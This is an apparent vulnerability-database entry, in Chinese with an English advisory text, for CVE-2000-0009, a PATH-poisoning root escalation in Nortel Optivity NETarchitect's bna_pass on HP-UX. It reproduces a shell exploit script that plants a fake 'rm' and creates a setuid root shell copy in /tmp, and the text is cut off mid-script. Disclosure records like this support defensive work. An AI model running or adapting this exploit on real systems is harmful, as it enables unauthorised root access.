Optivity NETarchitect中的bna_pass项目使用PATH环境变量找到“rm”项目漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1105666 漏洞类型 其他
发布时间 1999-12-30 更新时间 2005-10-12
CVE编号 CVE-2000-0009 CNNVD-ID CNNVD-199912-099
漏洞平台 Multiple CVSS评分 7.2
source: http://www.securityfocus.com/bid/907/info

NETarchitect is an application for simplifying the task of designing and deploying complex switched network system configurations, produced by Nortel Networks and usually shipped with the Optivity Network Configuration System suite of utilities. It is possible to gain root privileges on an HP-UX (possibly Solaris) system running NETarchitect by exploiting a path vulnerability in the binary /opt/bna/bin/bna_pass. bna_pass executes 'rm' assuming that the end user's PATH value is valid and the real rm binary is in the one being called.Because of this, it is possible to have bna_pass execute arbitrary binaries as root if the PATH variable is manipulated. A malicious user can add "." to his PATH environment variable and have binaries searched for and executed in . before any others [directories in PATH]. A false 'rm' would then be executed, compromising the system.

# bna.sh - Loneguard 03/03/99
# Poision path xploit for Optivity NETarchitect on HPUX
cd /tmp
touch /usr/bna/tmp/.loginChk
PATH=.:$PATH;export PATH
cat > rm << _EOF
cp /bin/csh /tmp/kungfu
chmod 4755 /tmp/kungfu
chmod 755 /tmp/rm